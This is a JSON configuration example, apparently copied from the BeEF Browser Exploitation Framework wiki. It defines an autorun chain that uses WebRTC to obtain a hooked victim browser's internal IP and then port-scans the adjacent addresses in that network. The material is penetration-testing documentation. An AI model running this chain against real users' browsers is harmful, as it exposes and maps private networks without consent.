ripped from https://github.com/beefproject/beef/wiki/Autorun-Rule-Engine

nested-forward-example.json

{
"modules": [
    {"name": "get_internal_ip_webrtc",
      "condition": null,
      "code": null,
      "options": {}
    },
    {"name": "internal_network_fingerprinting",
      "condition": "status==1",
      "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start=parseInt(s[3])-1;var end=parseInt(s[3])+1;var mod_input = s[0]+'.'+s[1]+'.'+s[2]+'.'+start+'-'+s[0]+'.'+s[1]+'.'+s[2]+'.'+end;",
      "options": {
        "ipRange":"<<mod_input>>",
        "ports":"80",
        "threads":"5",
        "wait":"2",
        "timeout":"10"
      }
    }
  ],
  "execution_order": [0,1],
  "execution_delay": [0, 0],
  "chain_mode": "nested-forward"
}